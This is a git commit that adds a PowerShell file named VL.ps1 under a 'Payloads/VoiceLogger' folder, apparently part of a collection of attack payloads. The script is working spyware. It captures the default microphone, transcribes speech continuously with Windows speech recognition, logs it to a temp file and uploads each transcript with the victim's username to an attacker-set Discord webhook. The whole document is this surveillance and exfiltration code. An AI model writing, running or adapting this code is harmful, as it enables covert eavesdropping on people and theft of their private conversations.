Create VL.ps1
This commit is contained in:
parent
a76e5e675f
commit
cd53a6ab6a
1 changed files with 49 additions and 0 deletions
49
Payloads/VoiceLogger/VL.ps1
Normal file
49
Payloads/VoiceLogger/VL.ps1
Normal file
|
@ -0,0 +1,49 @@
|
|||
function DC-Upload {
|
||||
|
||||
[CmdletBinding()]
|
||||
param (
|
||||
[parameter(Position=0,Mandatory=$False)]
|
||||
[string]$text
|
||||
)
|
||||
|
||||
# $dc = 'YOUR DISCORD WEBHOOK GOES HERE IF YOU HOST YOUR OWN VERSION OF THIS PAYLOAD'
|
||||
|
||||
$Body = @{
|
||||
'username' = $env:username
|
||||
'content' = $text
|
||||
}
|
||||
|
||||
if (-not ([string]::IsNullOrEmpty($text))){Invoke-RestMethod -ContentType 'Application/Json' -Uri $dc -Method Post -Body ($Body | ConvertTo-Json)};
|
||||
}
|
||||
|
||||
|
||||
|
||||
function voiceLogger {
|
||||
|
||||
Add-Type -AssemblyName System.Speech
|
||||
$recognizer = New-Object System.Speech.Recognition.SpeechRecognitionEngine
|
||||
$grammar = New-Object System.Speech.Recognition.DictationGrammar
|
||||
$recognizer.LoadGrammar($grammar)
|
||||
$recognizer.SetInputToDefaultAudioDevice()
|
||||
|
||||
while ($true) {
|
||||
$result = $recognizer.Recognize()
|
||||
if ($result) {
|
||||
$results = $result.Text
|
||||
Write-Output $results
|
||||
$log = "$env:tmp/VoiceLog.txt"
|
||||
echo $results > $log
|
||||
$text = get-content $log -raw
|
||||
DC-Upload $text
|
||||
|
||||
# Use a switch statement with the $results variable
|
||||
switch -regex ($results) {
|
||||
'\bnote\b' {saps notepad}
|
||||
'\bexit\b' {break}
|
||||
}
|
||||
}
|
||||
}
|
||||
Clear-Content -Path $log
|
||||
}
|
||||
|
||||
voiceLogger
|
Loading…
Reference in a new issue